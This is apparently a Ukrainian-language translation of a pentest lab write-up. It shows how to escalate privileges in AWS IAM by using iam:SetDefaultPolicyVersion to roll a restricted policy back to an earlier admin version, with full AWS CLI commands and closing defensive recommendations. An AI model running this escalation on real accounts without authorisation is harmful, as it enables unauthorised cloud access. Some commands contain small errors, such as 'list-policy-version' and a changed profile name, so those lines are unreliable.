_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/cloud/aws_abusing_iam_policy_version // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#AWS#IAM#ENUMERATION#PRIVILEGE ESCALATION
FILE_INFO_DECRYPTED
TRANSLATE: @exploit.com.ua

У цій публікації досліджується специфічна проблема в AWS IAM — версійність політик. При неправильному налаштуванні цей механізм можна експлуатувати шляхом відкату стандартної політики до попередньої, більш лояльної версії. Це дозволяє користувачеві отримати вищі привілеї, ніж планувалося, що підкреслює необхідність ретельного управління версіями політик.

Зміст

  • Про версійність політик IAM
  • Налаштування лабораторії та передумови
  • Частина 1: Налаштування лабораторії IAM
  • Створення вразливої лояльної версії політики (Vuln_policy_version 1)
  • Створення обмеженої версії політики (Vuln_policy_version 4)
  • Частина 2: Перерахунок та експлуатація
  • Передумови для пентесту
  • Налаштування AWS CLI та перерахунок політик за допомогою облікових даних користувача IAM
  • Експлуатація версійності політик IAM
  • Аналіз
  • Рекомендації
  • Висновок

Про версійність політик IAM

Коли оновлюється керована клієнтом (customer-managed) або керована AWS (AWS-managed) політика, IAM створює нову версію замість заміни існуючої. Для керованих клієнтом політик підтримується до п’яти версій. На відміну від них, вбудовані політики (inline policies) прикріплюються безпосередньо до одного користувача, групи або ролі, не можуть бути використані повторно та не підтримують версійність.

Щоб встановити версію політики за замовчуванням (default), необхідні дозволи відповідають таким операціям AWS API: CreatePolicyVersion або SetDefaultPolicyVersion. Можна використовувати будь-яку з них:

  • Дія iam:CreatePolicyVersion дозволяє створювати нову версію та встановлювати її як дефолтну.
  • Дія iam:SetDefaultPolicyVersion дозволяє встановити будь-яку з існуючих версій як дефолтну.

Надання цих дозволів дає користувачам можливість змінювати те, яка версія політики є активною в даний момент.

Налаштування лабораторії та передумови

  • Обліковий запис AWS (AWS Account)
  • Віртуальна машина Kali Linux

Частина 1: Налаштування лабораторії IAM

Нижче наведено інструкції з налаштування середовища. Ми отримаємо доступ до консолі AWS та налаштуємо інтерфейс командного рядка AWS (CLI).

Користувач:

Igt_sanjeet

Назва політики:

Vuln_policy_version

Створення вразливої (дозволяючої) версії Vuln_policy_version 1:

Щоб встановити версію за замовчуванням для керованої клієнтом політики

  • По-перше, перейдіть до IAM > Policies > Create policy. Визначте дозволи у редакторі політик (Policy Editor).

  • Напишіть власну політику, яка надає повні адміністративні права; пізніше вона буде використана як шлях для ескалації (escalation path).

  • Effect: Allow -> Надає дозволи (не забороняє).

  • Action: “*” -> Дозволяє всі дії в усіх сервісах AWS.

  • Resource: “*” -> Застосовується до всіх ресурсів в обліковому записі.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}

Ось як виглядає політика в редакторі політик (Policy Editor):

AWS IAM Policy Version Privilege Escalation

  • На етапі Review and create (Перегляд та створення) додайте деталі політики, такі як назва — Vuln_policy_version, та опис, як показано на скриншоті.

  • Після цього поверніться до розділу Policies (Політики) в меню IAM і знайдіть створену політику; вона має з’явитися у списку під своєю назвою.

AWS IAM Policy Version Privilege Escalation

Створення обмеженої версії Vuln_policy_version 4:

  • По-перше, натисніть на назву політики Vuln_policy_version, щоб переглянути її повні деталі. У розділі Policy versions (Версії політики) ви побачите версію за замовчуванням — v1. Натисніть Edit (Редагувати).

Знову з’явиться редактор політик у вікні Modify permissions in Vuln_policy_version (Зміна дозволів у Vuln_policy_version). Напишіть власну політику, яка надає лише обмежені права:

  • iam:ListPolicyVersions – перераховує всі версії вказаної політики IAM.
  • iam:SetDefaultPolicyVersion – встановлює конкретну версію політики як версію за замовчуванням.
  • iam:ListAttachedUserPolicies – перераховує керовані політики, прикріплені до вказаного користувача IAM.
  • iam:ListPolicies – перераховує всі керовані політики IAM у вашому обліковому записі AWS.
  • iam:GetPolicyVersion – отримує детальну інформацію про конкретну версію політики IAM.
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "iam:ListPolicyVersions",
                "iam:SetDefaultPolicyVersion",
                "iam:ListAttachedUserPolicies",
                "iam:ListPolicies",
                “iam:GetPolicyVersion”
            ],
            "Resource": "*"
        }
    ]
}

Ось як виглядає політика в редакторі (Policy Editor):

AWS IAM Policy Version Privilege Escalation

  • Потім перейдіть до розділу Policies (Політики), виберіть Vuln_policy_version і відкрийте вкладку Policy versions (Версії політики). Виберіть версію v4 і натисніть Set as default (Встановити за замовчуванням).

Тут чітко зазначено, що щоразу, коли політика оновлюється, створюється нова версія, і клієнт може зберігати до 5 версій керованої політики.

Ви можете видалити будь-яку версію керованої політики, крім тієї, що встановлена за замовчуванням. Ідентифікатори версій (наприклад, v1, v2) залишаються незмінними, тому вони можуть іти не в послідовному порядку.

  • Перейдіть до IAM > Users > Create user (Створити користувача). Введіть дані користувача, а потім у розділі Set Permissions (Налаштування дозволів) виберіть Attach policies directly (Прикріпити політики безпосередньо). Виберіть Vuln_policy_version зі списку та натисніть Next (Далі).

AWS IAM Policy Version Privilege Escalation

  • Нарешті, перейдіть до IAM > Users, виберіть користувача Igt_sanjeet і натисніть Create access key (Створити ключ доступу). Тепер завантажте .csv файл, що містить Access Key ID та Secret Access Key. Зберігайте ці облікові дані в безпеці.

Частина 2: Перерахунок та експлуатація (Enumeration and Exploitation)

Вплив неправильного керування версіями політик на безпеку

У реальних сценаріях неправильне керування версіями політик підвищує ризики безпеки, дозволяючи застарілим дозволам залишатися в системі. Це може призвести до витоку даних та порушення вимог комплаєнсу. Неадекватний контроль змін ускладнює відстеження модифікацій та впровадження актуальних, безпечних політик.

Щоб заборонити користувачеві вносити зміни у версію політики за замовчуванням, ви повинні заблокувати (Deny) як iam:CreatePolicyVersion, так і iam:SetDefaultPolicyVersion. Згідно з найкращими практиками AWS IAM.

Передумови

  • Машина для пентесту: Kali Linux
  • Тестові дані: Access Key + Secret + Region користувача Igt_sanjeet
  • Інструменти: AWS-Cli (sudo apt install awscli)

Налаштування AWS CLI та перерахунок політик

Налаштуйте профіль AWS CLI, використовуючи отримані облікові дані Igt_sanjeet. Система запропонує ввести AWS Access Key ID, AWS Secret Access Key та регіон за замовчуванням.

aws configure --profile Igt_sanjeet

Тепер до справи: наступна команда підтверджує, що користувач Igt_sanjeet має прикріплену політику Vuln_policy_version. Зверніть увагу на PolicyArn, виділений на скриншоті.

aws iam list-attached-user-policies --user-name Igt_sanjeet --profile Igt_sanjeet

AWS IAM Policy Version Privilege Escalation

Далі, отримайте всі версії політики Vuln_policy_version за допомогою наступної команди. Результат чітко показує версії v1 та v4, причому v4 встановлена як версія за замовчуванням (default).

aws iam list-policy-versions --policy-arn $POLICY_ARN --profile Igt_sanjeet

Виконання цієї команди надає повну інформацію про конкретну версію політики IAM, таку як версія політики, дата створення тощо.

aws iam get-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_policy_version --version-id v4 --profile Igt_sanjeet

Після виконання цієї команди зверніть увагу на вивід, що показує надмірно дозволяючу політику з символами підстановки (*) як для дій (Actions), так і для ресурсів (Resources). Це дозволяє виконувати будь-які дії над усіма ресурсами. Це критичний ризик ескалації привілеїв.

aws iam get-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_policy_version --version-id v1 --profile Igt_sanjeet

AWS IAM Policy Version Privilege Escalation

Експлуатація версійності політик IAM

Тепер спробуйте виконати команду для переліку S3-кошиків (buckets):

aws s3 ls --profile Igt_sanjeet

Ця дія (ListBuckets) буде відхилена, оскільки користувач Igt_sanjeet не має повноважень для виконання цього завдання в поточній обмеженій версії політики.

Далі скористайтеся командою, щоб встановити більш лояльну версію політики (v1) як дефолтну (активну):

aws iam set-default-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_policy_version --version-id v1 --profile Igt_sanjeet

Після цього знову спробуйте перерахувати кошики. Цього разу операція пройде успішно, як показано на скриншоті.

aws s3 ls --profile Igt_sanjeet

Щоб переконатися, що дозвільна версія v1 дійсно встановлена як дефолтна, виконайте наступну команду — результат підтвердить зміну статусу IsDefaultVersion: true для версії v1.

aws iam list-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_policy_version --profile Igt_sanjeet

SetDefaultPolicyVersion vulnerability

Тепер виведіть вміст вашого кошика, і ви побачите текстові файли у виводі.

aws s3 ls --profile Igt_raj

Завантажте текстовий файл на свою машину Kali:

aws s3 cp s3://igt-bucket/proof.txt file_admin.txt

Перегляньте вміст файлу

cat file_admin.txt

AWS IAM Policy Version Privilege Escalation

Аналіз

Ця лабораторна робота демонструє техніку ескалації привілеїв шляхом встановлення дозволяючої версії політики як дефолтної, що надає повний доступ без зміни тексту самої політики. Вектор ескалації виглядав наступним чином:

Igt_sanjeet → Відмова в доступі до s3:ListBuckets → Встановлення надмірно дозволяючої версії v1 як дефолтної → Повторна спроба s3 ls → Доступ надано → Ескалацію привілеїв успішно здійснено через зловживання версійністю політик.

Рекомендації

  • Обмежуйте права на iam:CreatePolicyVersion та iam:SetDefaultPolicyVersion лише для довірених ролей адміністратора.
  • Застосовуйте принцип найменших привілеїв (Least Privilege) до всіх політик IAM без винятку.
  • Налаштуйте моніторинг та сповіщення про будь-які зміни версій політик IAM (наприклад, через AWS CloudTrail).
  • Використовуйте політики керування сервісами (SCPs) в AWS Organizations, щоб заблокувати створення або активацію надмірно дозволяючих політик на рівні всього аккаунта.
  • Регулярно проводьте аудит та видаляйте невикористовувані або застарілі версії політик.

Conclusion

Ця лабораторна робота успішно продемонструвала зловживання версійністю політик за замовчуванням, що може призвести до прихованої ескалації привілеїв. Суворі межі дозволів (Permission Boundaries) та постійний моніторинг версій політик є необхідними заходами для запобігання подібним експлуатаціям.

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...